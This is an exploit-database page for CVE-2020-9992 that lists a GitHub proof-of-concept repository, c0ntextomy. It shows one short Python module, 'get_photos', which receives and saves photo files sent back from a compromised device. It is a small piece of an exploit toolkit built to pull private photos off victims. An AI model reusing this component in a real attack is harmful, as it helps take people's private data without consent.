Exploit database

GH-57a1fa37a60cfc1e246b6768d1591437

c0ntextomy/c0ntextomy

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-9992

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

c0ntextomy/src/rec0ntextualizer/modules/get_photos/module.py

Python · 461 bytes
import os

def handle_client(client, artifacts_dir):
    while True:
        size, filename = client.get_tlv_packet()
        if size == 0:
            break
        size, data = client.get_tlv_packet()
        if size == 0:
            break

        client.log_info('get_photos: Received artifact with size: {}'.format(size))
        artifact_path = os.path.join(artifacts_dir, filename)
        with open(artifact_path, 'wb') as f:
            f.write(data)